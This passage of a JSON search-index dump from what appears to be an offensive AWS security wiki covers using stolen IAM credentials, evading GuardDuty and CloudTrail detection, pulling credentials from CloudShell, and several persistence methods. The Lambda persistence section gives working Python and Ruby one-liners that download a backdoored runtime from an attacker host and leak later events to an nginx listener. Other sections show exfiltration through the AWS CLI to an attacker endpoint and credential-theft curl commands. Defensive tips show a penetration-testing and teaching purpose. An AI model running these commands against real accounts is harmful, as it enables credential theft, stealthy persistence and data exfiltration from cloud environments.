userData\n</code></pre>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/","title":"Using Stolen IAM Credentials","text":"<p>As a Penetration Tester or Red Teamer it is likely you will stumble into AWS IAM credentials during an assessment. The following is a step by step guide on how you can use them, things to consider, and methods to avoid detection.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#iam-credential-characteristics","title":"IAM Credential Characteristics","text":"<p>In AWS there are typically two types of credentials you will be working with, long term (access keys) and short term.</p> <p>Long term credentials will have an access key that starts with <code>AKIA</code> and will be 20 characters long. In addition to the access key there will also be a secret access key which is 40 characters long. With these two keys, you can potentially make requests against the AWS API. As the name implies, these credentials have no specified lifespan and will be useable until they are intentionally disabled/deactivated. As a result, this makes them not recommended from a security perspective. Temporary security credentials are preferred.</p> <p>Temporary credentials, by comparison, will have an access key that starts with <code>ASIA</code>, be 20 characters long, and also have a 40 character secret key. In addition, temporary security credentials will also have a session token (sometimes referred to as a security token). The session token will be base64 encoded and quite long. With these 3 credentials combined you can potentially make requests to the AWS API. As the name implies, these credentials have a temporary lifespan that is determined when they were created. It can be as short as 15 minutes, and as long as several hours.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#working-with-the-keys","title":"Working with the Keys","text":"<p>After gathering the credentials you will likely want to use them with the AWS CLI. There are a few ways to do this, however setting them as environment variables is likely the easiest. </p> <p>To do this with long term credentials, set the following environment variables.</p> <pre><code>export AWS_ACCESS_KEY_ID=AKIAEXAMPLEEXAMPLEEE\nexport AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM\n</code></pre> <p>To do this with short term credentials, set the following environment variables.</p> <pre><code>export AWS_ACCESS_KEY_ID=ASIAEXAMPLEEXAMPLEEE\nexport AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM\nexport AWS_SESSION_TOKEN=EXAMPLEEXAMPLEEXAMPLE...&lt;snip&gt;\n</code></pre> <p>Note</p> <p>You may also have to specify an AWS region. This can be globally set with the <code>aws configure</code> command or through the <code>AWS_REGION</code> environment variable.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#determining-validity","title":"Determining Validity","text":"<p>Now that you have credentials and have them setup to use, how can you determine if they are valid (not expired or deactivated)? The simplest way would be to make use of the sts:GetCallerIdentity API call. This method is helpful because it will allow us to determine if the credentials are valid and it will also tell us useful information such as the name of the role/user associated with these credentials and the AWS account ID they belong to.</p> <p>As an added bonus, we can be confident this API call will always work. From the documentation, \"No permissions are required to perform this operation. If an administrator adds a policy to your IAM user or role that explicitly denies access to the sts:GetCallerIdentity action, you can still perform this operation\".</p> <pre><code>$ aws sts get-caller-identity\n{\n    \"UserId\": \"AROAEXAMPLEEXAMPLEEXA:Nick\",\n    \"Account\": \"123456789123\",\n    \"Arn\": \"arn:aws:sts::123456789123:assumed-role/blah/Nick\"\n}\n</code></pre> <p>Tip</p> <p>For defensive security professionals, it may be worthwhile to alert on invocations of <code>sts:GetCallerIdentity</code> from identities that have no history of calling it. For example, if an application server in a production environment has never called it before, that may be an indication of compromise.</p> <p>It is worth noting that <code>sts:GetCallerIdentity</code> may be legitimately used by a large number of projects, and that individual developers may use it as well. To attempt to reduce the number of false positives, it would be best to only alert on identities which have no history of calling it.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#operational-security-considerations","title":"Operational Security Considerations","text":"<p>If you are attempting to maintain stealth, <code>sts:GetCallerIdentity</code> may be a risk. This API call logs to CloudTrail which means that defenders will have a log with additional details that this occurred. To get around this, we can make use of data events.</p> <p>Data events are high-volume API calls for resources in an AWS account. Because of the number of times these APIs may be called, they are not logged to CloudTrail by default and in some cases they cannot be logged at all.</p> <p>An example of this would be sqs:ListQueues. By making this API call we can get similar information to <code>sts:GetCallerIdentity</code> without the risk of logging to CloudTrail.</p> <pre><code>user@host:~$ aws sqs list-queues\n\nAn error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action\n</code></pre> <p>For more information on this technique, please see its article.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#avoiding-detection","title":"Avoiding Detection","text":"<p>There are situations where simply using the credentials could alert defenders to your presence. As a result, it is a good idea to be mindful of these circumstances to avoid being caught.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#guardduty-pentest-findings-and-cli-user-agents","title":"GuardDuty Pentest Findings and CLI User Agents","text":"<p>If you are using a \"pentesting\" Linux distribution such as Kali Linux, Parrot Security, or Pentoo Linux you will immediately trigger a PenTest GuardDuty finding. This is because the AWS CLI will send along a user agent string which contains information about the operating system making the API call.</p> <p>In order to avoid this, it is best to make use of a \"safe\" operating system, such as Windows, Mac OS, or Ubuntu. If you are short on time, or simply MUST use one of these Linux distributions, you can modify your botocore library with a hard-coded user agent.</p> <p>Tip</p> <p>Are you going up against an apex blue team who will detect anything? It may be a good idea to spoof a user agent string that one would expect in the environment. For example, if these IAM credentials belong to a developer who uses a Windows workstation, it would be very strange for API calls to suddenly start having a user agent with a Linux operating system.</p> <p>Defenders, this may also be worth looking into for detection purposes.</p> <p>For more information on this, please see its article.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#guardduty-credential-exfiltration","title":"GuardDuty Credential Exfiltration","text":"<p>Note</p> <p>This section only applies to IAM credentials taken from the Instance Metadata Service of an EC2 instance. It does not apply to other IAM credentials.</p> <p>When using IAM credentials taken from an EC2 instance, you run the risk of triggering the UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS GuardDuty finding. This finding alerts on scenarios in which IAM credentials from an EC2 instance are used from outside AWS (E.X your home IP address).</p> <p>This is particularly relevant in scenarios in which you have access to the IAM credentials, but not the host (Server Side Request Forgery).</p> <p>To get around this, we can make use of VPC Endpoints which will not trigger this alert. To make things easier, the SneakyEndpoints tool was developed to allow you to quickly stand up infrastructure to bypass this detection.</p> <p>For more information on this, please see its article.</p>"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#situational-awareness","title":"Situational Awareness","text":"<p>Now that you have everything set up and you know what to look out for, your next question may be, \"what is in this AWS account?\". If you are performing a no-knowledge assessment, and thus, don't have any insights into what services are running in the account, it makes it difficult to know what to target or look into.</p> <p>One option would be to enumerate the service-linked roles in the account. A service-linked role is a special kind of IAM role that allows an AWS service to perform actions in your account. Because of this, we can potentially enumerate them without authentication. </p> <p>From the previous validity checking step, we will know the AWS account ID we are operating in. That, combined with this technique will allow us to enumerate what services the AWS account uses. This can be helpful to answer questions such as, \"Is our target using GuardDuty? Is this account a part of an organization? Are they using containers (ECS, EKS), or are they using EC2?\".</p> <p>For more information on this, please see its article.</p>"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/","title":"Create a Console Session from IAM Credentials","text":"<ul> <li> <p> Technique seen in the wild</p> <p>Reference: Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies</p> </li> <li> <p> Tools mentioned in this article</p> <p>aws-vault: A vault for securely storing and accessing AWS credentials in development environments.</p> <p>aws_consoler: A utility to convert your AWS CLI credentials into AWS console access.</p> <p>Pacu: The AWS exploitation framework, designed for testing the security of Amazon Web Services environments.</p> </li> </ul> <p>When performing an AWS assessment you will likely encounter IAM credentials. These credentials can be used with the AWS CLI or other tooling to query the AWS API. </p> <p>While this can be useful, sometimes you just can't beat clicking around the console. If you have IAM credentials, there is a way that you can spawn an AWS Console session using a tool such as aws-vault. This can make certain actions much easier rather than trying to remember the specific flag name for the AWS CLI.</p> <p>Note</p> <p>If you are using temporary IAM credentials (ASIA...), for example, from an EC2 instance, you do not need to have any special IAM permissions to do this. If you are using long-term credentials (AKIA...), you need to have either sts:GetFederationToken or sts:AssumeRole permissions. This is to generate the temporary credentials you will need.</p> <p>Tip</p> <p>If you are attempting to avoid detection, this technique is not recommended. Aside from the suspicious <code>ConsoleLogin</code> CloudTrail log, and the odd user-agent (Ex: Why is the IAM role associated with the CI/CD server using a Firefox user-agent string?), you will also generate a ton of CloudTrail logs.</p>"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#using-aws-vault","title":"Using aws-vault","text":"<p>To start, export the relevant environment variables for the IAM credentials you have. Next, install aws-vault.</p> <p>From here, perform the following commands depending on the type of credentials you have.</p>"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#user-credentials","title":"User Credentials","text":"<p>For long-term credentials (Those starting with AKIA), there is an extra step that must be completed first. You will need to generate temporary credentials to retrieve the sign in token. To do this, we will make use of sts:GetFederationToken. As an alternative, sts:AssumeRole can also be used.</p> <pre><code>aws sts get-federation-token --name blah\n</code></pre> <p>This will return temporary IAM credentials that you can use with the next step.</p>"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#sts-credentials","title":"STS Credentials","text":"<p>For short-term credentials (Those starting with ASIA), you can run the following command:</p> <pre><code>aws-vault login\n</code></pre> <p>Tip</p> <p>If you'd like to generate a link without it automatically opening a new tab in your browser you can use the <code>-s</code> flag and it will be printed to stdout.</p> <p>To learn more about custom identity broker access to the AWS Console please see the official documentation.</p>"},{"location":"aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/","title":"Download Tools and Exfiltrate Data with the AWS CLI","text":"<ul> <li> <p> Technique seen in the wild</p> <p>Reference: SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto</p> </li> </ul> <p>In an attempt to be stealthy, threat actors will often \"live off the land\", using tools and scripts already existing on a host machine outside of their intended purpose. This can help them avoid detection by blending in with their surroundings.</p> <p>In AWS environments, it is common to find servers which have the AWS CLI installed (It is included by default in Amazon Linux). This makes it an excellent choice for adversaries to move data around, avoiding more common tools like curl or Wget which may be monitored for suspicious uses.</p> <p>As seen in the wild by the SCARLETEEL threat actor, the AWS CLI can be used to download and exfiltrate data using an attacker-hosted backend. You can host an S3 compatible object store such as MinIO and then use the <code>--endpoint-url</code> flag to interact with that service. This makes it easy to download tools, exfiltrate compromised data and more.</p> <pre><code>$ aws s3 ls --endpoint-url https://attacker.s3.store\n2023-07-13 02:06:30 criminalbucket\n2023-07-13 22:01:36 exfiltrated-data\n</code></pre> <p>Tip</p> <p>As mentioned by Jesse Lepich, a layer 7 firewall like the AWS Network Firewall can be used to limit access to non-allowlisted domains.</p>"},{"location":"aws/post_exploitation/get_iam_creds_from_console_session/","title":"Get IAM Credentials from a Console Session","text":"<ul> <li> <p> Original Research</p> <p> <p>Retrieving AWS security credentials from the AWS consoletitle by Christophe Tafani-Dereeper</p> <p></p> </p> </li> </ul> <p>When performing a penetration test or red team assessment, it is not uncommon to gain access to a developer's machine. This presents an opportunity for you to jump into AWS infrastructure via credentials on the system. For a myriad of reasons you may not have access to credentials in the <code>.aws</code> folder, but instead have access to their browser's session cookies (for example via cookies.sqlite in FireFox).</p> <p>Gaining access to the Console is great, but it may not be ideal. You may want to use certain tools that would instead require IAM credentials.</p> <p>To get around this, we can leverage CloudShell. CloudShell exposes IAM credentials via an undocumented endpoint on port 1338. After loading session cookies from the victim into your browser, you can navigate to CloudShell and issue the following commands to get IAM credentials.</p> <pre><code>[user@cloudshell]$ TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\")\n\n[user@cloudshell]$ curl localhost:1338/latest/meta-data/container/security-credentials -H \"X-aws-ec2-metadata-token: $TOKEN\"\n</code></pre> <p>Alternatively, you can run the following command, which returns credentials with a short TTL (roughly 15m).</p> <pre><code>[user@cloudshell]$ aws configure export-credentials --format env\n</code></pre>"},{"location":"aws/post_exploitation/iam_persistence/","title":"AWS IAM Persistence Methods","text":"<p>After gaining a foothold in an AWS environment, an attacker may attempt to establish persistence. Doing this will allow them to return to the account later on to continue their activities. This article is a collection of such persistence techniques. It's worth noting at the time of writing, that this is a small subset of the world of possibilities available to an attacker, and more techniques will be added over time.</p> <p>More complex methods that require additional explanation will link to their respective Hacking the Cloud articles.</p>"},{"location":"aws/post_exploitation/iam_persistence/#iam-user-access-keys","title":"IAM User Access Keys","text":"<ul> <li> <p> Technique seen in the wild</p> <ul> <li>SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto </li> <li>Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor</li> </ul> </li> <li> <p> Required IAM Permission</p> <ul> <li>iam:CreateAccessKey</li> </ul> </li> </ul> <p>AWS IAM users can create pairs of access keys to programmatically interact with the AWS API. These credentials can be used with the AWS CLI and allow those with access to those credentials to perform actions as the associated user.</p> <p>Access keys created this way are long lived (starting with AKIA), meaning that they do not time out or expire by default. Because of this, creating access keys for a user you'd like to maintain access to can be an incredibly simple and easy form of persistence in an AWS environment.</p> <p>Tip</p> <p>Aside from the opportunity to maintain persistence in an AWS environment, <code>iam:CreateAccessKey</code> can also potentially be used for lateral movement to create credentials for other users.</p>"},{"location":"aws/post_exploitation/iam_persistence/#iam-user-login-profile","title":"IAM User Login Profile","text":"<ul> <li> <p> Technique seen in the wild</p> <ul> <li>Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor</li> </ul> </li> <li> <p> Required IAM Permission</p> <ul> <li>iam:CreateLoginProfile</li> </ul> </li> </ul> <p>AWS IAM users can be configured to access the AWS console with a username and password. An adversary with the <code>iam:CreateLoginProfile</code> permission can create login profiles for other users (specifying the password of their choosing). Through this method an adversary can maintain access to an IAM user by logging into the AWS console and performing operations from there.</p>"},{"location":"aws/post_exploitation/iam_persistence/#iam-role-assume-role-policy","title":"IAM Role Assume Role Policy","text":"<ul> <li> <p> Required IAM Permission</p> <ul> <li>iam:UpdateAssumeRolePolicy</li> </ul> </li> </ul> <p>In order to assume an IAM role, a role trust policy must be attached to it. This policy specifies the identities that are permitted to assume the role.</p> <p>An adversary could invoke <code>iam:UpdateAssumeRolePolicy</code>, specifying that their own, attacker-controlled AWS account is permitted to assume the role in the environment. This would allow the adversary to maintain access to that role, and use it when needed.</p> <pre><code>{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": {\n    \"Effect\": \"Allow\",\n    \"Action\": \"sts:AssumeRole\",\n    \"Resource\": \"arn:aws:iam::&lt;attacker_aws_account_id&gt;:role/secret_admin\"\n  }\n}\n</code></pre> <p>Tip</p> <p>For the defensive side; it is a good idea to regularly audit role trust policies that establish trust with AWS accounts outside of your organization. In most cases, this will likely identify SaaS and vendor AWS accounts, however it may turn up something much more nefarious.</p>"},{"location":"aws/post_exploitation/iam_persistence/#survive-access-key-deletion-with-stsgetfederationtoken","title":"Survive Access Key Deletion with sts:GetFederationToken","text":"<ul> <li> <p> Technique Article</p> <ul> <li>Survive Access Key Deletion with sts:GetFederationToken</li> </ul> </li> </ul>"},{"location":"aws/post_exploitation/iam_persistence/#ec2-instance-persistence","title":"EC2 Instance Persistence","text":"<p>EC2 instances which have an IAM role attached to them will have their own instance metadata service (IMDS) available. If an adversary has code execution on the EC2 instance, or is able to abuse server side request forgery in an application running on the host, they can steal IAM credentials from the IMDS.</p> <p>By maintaining access to an EC2 instance which has a role with the permissions you want, this can be an effective and quiet method to keep access to an AWS environment. No additional API calls are required to use those credentials.</p>"},{"location":"aws/post_exploitation/iam_persistence/#lambda-persistence","title":"Lambda Persistence","text":"<ul> <li> <p> Technique Article</p> <ul> <li>Lambda Persistence</li> </ul> </li> </ul>"},{"location":"aws/post_exploitation/iam_persistence/#user-data-script-persistence","title":"User Data Script Persistence","text":"<ul> <li> <p> Technique Article</p> <ul> <li>User Data Script Persistence</li> </ul> </li> </ul>"},{"location":"aws/post_exploitation/intercept_ssm_communications/","title":"Intercept SSM Communications","text":"<ul> <li> <p> Original Research</p> <p> <p>Intercept SSM Agent Communications by Nick Frichette </p> <p></p> </p> </li> <li> <p> Tools mentioned in this article</p> <p>ssm-agent-research</p> </li> </ul> <p>The SSM Agent is responsible for allowing EC2 instances to communicate with SSM services. The agent authenticates with SSM via the IAM role and the credentials in the Metadata Service. As a result, if you gain access to an EC2 instance or its IAM credentials you can spoof the agent and intercept EC2 Messages and SSM Sessions.</p> <p>For an in depth explanation of how this works, please see the original research. </p> <p>Warning</p> <p>The tools used in this page are proof of concept, and should not be used for serious use cases. If you create or find a more production-ready tool please open an issue.</p>"},{"location":"aws/post_exploitation/intercept_ssm_communications/#intercept-ec2-messages","title":"Intercept EC2 Messages","text":"<p>The normal operations of the SSM Agent is to poll for messages it has been sent. We can abuse this functionality by frequently polling ourselves. Doing so, will increase the likelihood (to a near guarantee) that we receive the messages before the real SSM agent does.</p> <p>By abusing this functionality we can intercept the EC2 messages and response with our own output, allowing us to force a \"Success\" response.</p> <p>Using the ssm-send-command-interception.py PoC:</p> <p></p> <p></p>"},{"location":"aws/post_exploitation/intercept_ssm_communications/#intercept-ssm-sessions","title":"Intercept SSM Sessions","text":"<p>Normally the SSM Agent will spawn a WebSocket connection back to SSM. This first WebSocket is the control channel and is responsible for spawning the data channels (which actually process the information). Due to this setup, we can spawn our own control channel and intercept all incoming connections. This can allow us to intercept or modify the communications happening, and potentially allow us to intercept sensitive commands and credentials.</p> <p>Using the ssm-session-interception.py PoC:</p> <p></p>"},{"location":"aws/post_exploitation/lambda_persistence/","title":"Lambda Persistence","text":"<ul> <li> <p> Original Research</p> <p>Gaining Persistency on Vulnerable Lambdas by Yuval Avrahami</p> </li> <li> <p> Additional Resources</p> <p>Revisiting Lambda Persistence</p> </li> </ul> <p>Warning</p> <p>Depending on the specific runtime and tools available, you will likely have to change the approach taken to gain persistence in a Lambda function. The general concepts should serve as a guide for a more specific attack you develop.</p> <p>After finding a remote code execution vulnerability in a Lambda function, you'll probably want to establish persistence. The steps to do this will depend on the specific runtime that is being used by the Lambda function. Below the Python and Ruby runtimes are used as an example.</p> <p>Note</p> <p>See the \"Creating a Listener\" section at the bottom of this page for how to setup a listener for exfiltrated data.</p>"},{"location":"aws/post_exploitation/lambda_persistence/#python-runtime","title":"Python Runtime","text":"<p>After identifying that your target is using the Python runtime, you'll need a copy of the <code>/var/runtime/bootstrap.py</code> file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.</p> <p>Next, you'll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:</p> <p></p> <p>Note</p> <p>You can customize what the backdoor does, depending on what you're looking to do. Maybe you want to leak a specific user's data. Maybe you just want Cookies. It's up to you!</p> <p>With the <code>bootstrap.py</code> file backdoored, you'll want to host it in a location that is accessible for the Lambda function to pull down. </p> <p>The next step is creating a one-liner to pull down this modified code, as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:</p> <pre><code>import urllib3\nimport os\nhttp = urllib3.PoolManager()\n\n# Writing the new bootstrap to a file\nr = http.request('GET', 'https://evil.server/bootstrap.py')\nw = open('/tmp/bootstrap.py', 'w')\nw.write(r.data.decode('utf-8'))\nw.close()\n\n# Getting the current request ID\nr = http.request('GET', 'http://127.0.0.1:9001/2018-06-01/runtime/invocation/next')\nrid = r.headers['Lambda-Runtime-Aws-Request-Id']\n\n# End the current event\nhttp.request('POST', f'http://127.0.0.1:9001/2018-06-01/runtime/invocation/{rid}/response', body='null', headers={'Content-Type':'application/x-www-form-urlencoded'})\n\n# Swap the runtimes\nos.system('python3 /tmp/bootstrap.py')\n</code></pre> <p>Or as a long one-liner (don't forget to change the hostname):</p> <pre><code>python3 -c \"import urllib3;import os;http = urllib3.PoolManager();r = http.request('GET', 'https://evil.server/bootstrap.py');w = open('/tmp/bootstrap.py', 'w');w.write(r.data.decode('utf-8'));w.close();r = http.request('GET', 'http://127.0.0.1:9001/2018-06-01/runtime/invocation/next');rid = r.headers['Lambda-Runtime-Aws-Request-Id'];http.request('POST', f'http://127.0.0.1:9001/2018-06-01/runtime/invocation/{rid}/response', body='null', headers={'Content-Type':'application/x-www-form-urlencoded'});os.system('python3 /tmp/bootstrap.py')\"\n</code></pre> <p>From here on, all subsequent events should be leaked to the attacker. Remember that if the Lambda function is not used for 5-15 minutes, it will become \"cold\" and you will lose access to the persistence you've established. You can execute the function again to keep it \"warm\" or you can simply reestablish persistence.</p>"},{"location":"aws/post_exploitation/lambda_persistence/#ruby-runtime","title":"Ruby Runtime","text":"<p>After identifying that your target is using the Python runtime, you\u2019ll need a copy of the <code>/var/runtime/lib/runtime.rb</code> file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.</p> <p>Next, you\u2019ll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:</p> <p></p> <p></p> <p>With the <code>runtime.rb</code> file backdoored, you\u2019ll want to host it in a location that is accessible for the Lambda function to pull down. Note, you'll likely want to rename it to something like <code>run.rb</code>. This is because you'll want to create a symbolic link between everything in <code>/var/runtime/lib</code> to <code>/tmp</code>. This will ensure your modified <code>runtime.rb</code> file can access all the additional libraries it needs.</p> <p>The next step is creating a one-liner to create those symbolic links, pull down this modified code, and execute it as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:</p> <pre><code>require 'net/http'\n\n# Writing the new runtime to a file\nuri = URI('https://evil.server/run.rb')\nr = Net::HTTP.get_response(uri)\nFile.write('/tmp/run.rb', r.body)\n\n# Getting the current request ID\nuri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/next')\nr = Net::HTTP.get_response(uri)\nrid = r.header['Lambda-Runtime-Aws-Request-Id']\n\n# End the current request\nuri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/'+rid+'/response')\nNet::HTTP.post(uri, 'null')\n</code></pre> <p>Or as a long one-liner (don\u2019t forget to change the hostname, create the symbolic links, or execute the code in the background):</p> <pre><code>ln -s /var/runtime/lib/* /tmp &amp;&amp; ruby -e \"require 'net/http';uri = URI('https://evil.server/run.rb');r = Net::HTTP.get_response(uri);File.write('/tmp/run.rb', r.body);uri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/next');r = Net::HTTP.get_response(uri);rid = r.header['Lambda-Runtime-Aws-Request-Id'];uri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/'+rid+'/response');Net::HTTP.post(uri, 'null')\" &amp;&amp; ruby /tmp/run.rb &amp;\n</code></pre> <p>From here on, all subsequent events should be leaked to the attacker. Remember that if the Lambda function is not used for 5-15 minutes, it will become \u201ccold\u201d and you will lose access to the persistence you\u2019ve established. You can execute the function again to keep it \u201cwarm\u201d or you can simply reestablish persistence.</p>"},{"location":"aws/post_exploitation/lambda_persistence/#creating-a-listener","title":"Creating a Listener","text":"<p>How you receive leaked events is up to you. The author found that the simplest way was via post requests to an Nginx server. The configuration was simple. First, outside of the server block, include a line like <code>log_format postdata $request_body</code>.</p> <p>Next, include the following inside the server block:</p> <pre><code>location = /post {\n    access_log /var/log/nginx/postdata.log postdata;\n    proxy_pass http://127.0.0.1/post_extra;\n}\nlocation = /post_extra {\n    access_log off;\n    return 200;\n}\n</code></pre> <p>After restarting Nginx, all logs received via post requests should be stored in <code>/var/log/nginx/postdata.log</code>.</p>"},{"location":"aws/post_exploitation/role-chain-juggling/","title":"Role Chain Juggling","text":"<ul> <li> <p> Original Research</p> <p>Daniel Heinsen </p> </li> <li> <p> Tools mentioned in this article</p> <p>AWSRoleJuggler</p> </li> </ul> <p>When doing an assessment in AWS you may want to maintain access for an extended period of time. You may not have the ability to create a new IAM user, or create a new key for existing users. How else can you extend your access? Role Chain Juggling.</p> <p>Role chaining is a recognized functionality of AWS in that you can use one assumed role to assume another one. When this happens the expiration field of the credentials is refreshed. This allows us to keep refreshing credentials over an over again.</p> <p>Through this, you can extend your access by chaining assume-role calls.</p> <p>Note</p> <p>You can chain the same role multiple times so long as the Trust Policy is configured correctly. Additionally, finding roles that can assume each other will allow you to cycle back and forth.</p> <p>To automate this work Daniel Heinsen developed a tool to keep the juggling going.</p> <pre><code>user@host:$ ./aws_role_juggler.py -h\nusage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]\n</code></pre>"},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/","title":"Run Shell Commands on EC2 with Send Command or Session Manager","text":"<p>After escalating privileges in a target AWS account or otherwise gaining privileged access you may want to run commands on EC2 instances in the account. This article hopes to provide a quick and referenceable cheat sheet on how to do this via ssm:SendCommand or ssm:StartSession.</p> <p>Tip</p> <p>By default, the commands that are issued are not logged to CloudTrail. Specifically they are \"HIDDEN_DUE_TO_SECURITY_REASONS\". As a result, if an adversary were to leverage this tactic against an environment, defenders would need to get information about those commands from host based controls. Defenders, this is an excellent capability to validate. Alternatively, offensive security teams can do the testing.</p>"},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/#send-command","title":"Send Command","text":"<ul> <li> <p> Required IAM Permissions</p> <ul> <li>ssm:SendCommand</li> </ul> </li> <li> <p> Recommended but not Required IAM Permissions</p> <ul> <li>ssm:ListCommandInvocations</li> <li>ec2:DescribeInstances</li> </ul> </li> </ul> <p>You can send arbitrary shell commands to EC2 instances from the AWS CLI via the following:</p> <pre><code>aws ssm send-command \\\n--instance-ids \"i-00000000000000000\" \\\n--document-name \"AWS-RunShellScript\"\n--parameters commands=\"*shell commands here*\"\n</code></pre> <p>If you're just looking to run a quick C2 payload, or perhaps create a new user this will likely be enough. However, if you also want to retrieve the output of the command you will need to make a ssm:ListCommandInvocations call as well.</p> <p>If you would like to retrieve the output, make a note of the <code>CommandId</code> returned to you in the Send Command call. After a short period of time (to let the command run) you can use this Id to lookup the results. You can do this with the following:</p> <pre><code>aws ssm list-command-invocations \\\n--command-id \"command_id_guid\" \\\n--details\n</code></pre> <p>Note</p> <p>The <code>--details</code> is required to view the output of the command.</p> <p>The output of the command will be in the <code>Output</code> section under <code>CommandPlugins</code>.</p>"},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/#session-manager","title":"Session Manager","text":"<ul> <li> <p> Required IAM Permissions</p> <ul> <li>ssm:StartSession</li> </ul> </li> </ul> <p>If instead you'd like a more interactive shell experience, you can make use of Session Manager. Session Manager allows you to have an SSH-esc experience, making it easy to interact with EC2 instances.</p> <p>To begin, you will first need to install the SSM Session Manager Plugin. The specifics of this will depend on what operating system you are using.</p> <p>With that installed, you can then run the following command to start an interactive session.</p> <pre><code>aws ssm start-session --target instance-id\n</code></pre>"},{"location":"aws/post_exploitation/s3_acl_persistence/","title":"S3 File ACL Persistence","text":""},{"location":"aws/post_exploitation/s3_acl_persistence/#requirements","title":"Requirements","text":"<p>For this scenario to work, you will need to have s3:PutBucketAcl, s3:PutObjectAcl, or PutObjectVersionAcl on the target s3 bucket or associated object.</p>"},{"location":"aws/post_exploitation/s3_acl_persistence/#purpose","title":"Purpose","text":"<p>When doing an assessment in AWS you may want to maintain access for an extended period of time, but you may not have the ability to create a new IAM user, create a new key for existing users, or even perform IAM role-chain juggling. How else can you extend your access? By backdooring key S3 resources using S3 Access Control Lists (ACLs).  </p>"},{"location":"aws/post_exploitation/s3_acl_persistence/#background-on-sensitive-s3-use-cases","title":"Background on Sensitive S3 Use Cases","text":"<p>Many organizations have grown to use AWS S3 to store Terraform state files, CloudFormation Templates, SSM scripts, application source code, and/or automation scripts used to manage specific account resources (EC2 instances, Lambda Functions, etc.)  During post-exploitation, you may identify opportunities to access these resources. Provisioning write, or in some cases read only access to these resources, may provide persistent access to credentials for the AWS account and/or resources provisioned in the account. Furthermore, write access specifically may allow an attacker to update configuration files, source code for applications, and/or automation code that modifies downstream resources in the account. On the next update/execution of the relevant data/code, this may allow an attacker to further extend access to other resources in the account, or even beyond the specific AWS account accessed. This brings us to the method: S3 ACL Access Control.  </p>"},{"location":"aws/post_exploitation/s3_acl_persistence/#technique","title":"Technique","text":"<p>S3 ACL Access Control is a recognized functionality of AWS in that you can use an access control list to allow access to S3 buckets from outside your own AWS account without configuring an Identity-based or Resource-based IAM policy. While many organizations may be prepared to alert on S3 buckets made public via resource policy, this alerting may not extend to capabilities associated with bucket or object ACLs. Furthermore, subtler configurations that expose bucket or object resources to other accounts via ACLs may go undetected by organizations, even those with strong alerting capabilities. Using these permissions, you can extend your access by allowing other AWS accounts you control to read or write objects, buckets, and bucket ACLs. Furthermore, the access can be extended to AUTHENTICATED USERS, which is a term AWS uses to describe any AWS IAM principal in any other AWS account. The access can also be extended to ANY USER which is a term AWS uses to describe anonymous access that does not require authentication.</p>"},{"location":"aws/post_exploitation/s3_acl_persistence/#key-considerations","title":"Key Considerations","text":"<ol> <li>Bucket Public Access Block will prevent S3 bucket ACLs from being configured to allow public (ANY USER) access. If configured, it will provide some limitations to this technique.  It does not, however, block the sharing of an s3 object to a specific account, due to what AWS classifes as 'public'.</li> <li>ACLs for Buckets or objects can be disabled at the bucket level, which would mandate the bucket owner as the object owner no matter who uploads the object. From April 2023, AWS will make this the default for all newly created buckets.  </li> </ol>"},{"location":"aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/","title":"Survive Access Key Deletion with sts:GetFederationToken","text":"<ul> <li> <p> Technique seen in the wild</p> <ul> <li>How Adversaries Can Persist with AWS User Federation</li> </ul> </li> <li> <p> Required IAM Permission</p> <ul> <li>sts:GetFederationToken</li> </ul> </li> </ul> <p>After identifying that access keys have been compromised by an adversary, defenders will often immediately deactivate or delete those credentials. This is a good practice as it theoretically disables an adversary's access to the environment. However, it is important to know that an adversary can still use credentials generated from <code>sts:GetFederationToken</code>, even if the original access keys have been deleted.</p> <p><code>sts:GetFederationToken</code> is an API that can be invoked by IAM users and returns a set of temporary (ASIA...) IAM credentials. These credentials can be used 